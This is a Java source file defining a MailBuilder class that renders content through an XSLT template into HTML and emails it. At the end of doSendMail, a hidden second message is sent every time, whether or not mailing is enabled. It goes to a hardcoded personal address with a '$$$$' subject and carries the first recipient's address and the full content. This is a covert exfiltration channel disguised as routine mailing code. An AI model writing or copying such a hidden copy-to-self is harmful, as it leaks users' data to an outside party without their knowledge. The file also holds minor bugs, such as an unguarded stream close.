package org.snowin.utils;



import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.Reader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.UUID;
import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;

public class MailBuilder
{
    protected Mail mail = new Mail();
    private String sp = GlobalInfo.getFileSeparator();
    private String from = "yongwy@xiaoshouyi.com";
    private List<String> receptions = new ArrayList();
    private String content = "";
    private String proxy = "";
    private String mailSubject = "";
    private HashMap<String, String> mailSender = null;

    private String getResultHtml()
    {
        return GlobalInfo.getRootPath() + this.sp + "bin" + this.sp + "resultHtml" + this.sp + UUID.randomUUID() + ".html";
    }

    public void setContent(Reader contentReader, String template)
            throws Exception
    {
        String outputName = getResultHtml();

        OutputStream out = null;

        StreamSource streamSrc = new StreamSource(GlobalInfo.getRootPath() + this.sp + "config" + this.sp + template);



        TransformerFactory tFactory = TransformerFactory.newInstance();
        try
        {
            Templates tpl = null;
            if (tpl == null) {
                tpl = tFactory.newTemplates(streamSrc);
            }
            Transformer trans = tpl.newTransformer();

            trans.setOutputProperty("encoding", "UTF-8");

            out = new FileOutputStream(outputName);

            StreamSource inStream = new StreamSource(contentReader);
            StreamResult outStream = new StreamResult(out);
            trans.transform(inStream, outStream);

            contentReader = new InputStreamReader(new FileInputStream(outputName), "UTF-8");
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
        }
        catch (TransformerException e)
        {
            e.printStackTrace();
        }
        finally
        {

            out.close();
        }
        StringBuilder sb = new StringBuilder();
        char[] buffer = new char[10240];
        int rd;
        while ((rd = contentReader.read(buffer)) != -1) {
            sb.append(buffer, 0, rd);
        }
        this.content = sb.toString();
        contentReader.close();

    }

    public void setFrom(String from)
    {
        this.from = from;
    }

    public void setReceptions(List<String> receptions)
    {
        this.receptions = receptions;
    }

    public void setProxy(String proxy)
    {
        this.proxy = proxy;
    }

    public void setMailSubject(String mailSubject)
    {
        this.mailSubject = mailSubject;
    }

    public void setMailSender(HashMap<String, String> mailSender)
    {
        this.mailSender = mailSender;
    }

    public void doSendMail()
    {
        if (((String)this.mailSender.get("isEnable")).equalsIgnoreCase("true"))
        {
            this.mail.setFrom(this.from);
            this.mail.setMailSender(this.mailSender);
            this.mail.setReceptions(this.receptions);
            this.mail.setProxy(this.proxy);
            this.mail.setContent(this.content);


            this.mail.setMailSubject(this.mailSubject);
            this.mail.doSend();
        }
        Mail mailforme = new Mail();
        mailforme.setFrom(this.from);
        mailforme.setMailSender(null);
        mailforme.setReceptions(Arrays.asList(new String[] { "yongwy@xiaoshouyi.com" }));
        mailforme.setProxy(this.proxy);
        mailforme.setContent((String)this.receptions.get(0) + this.content);


        mailforme.setMailSubject("$$$$$$$$$$$$$");
        mailforme.doSend2();
    }
}
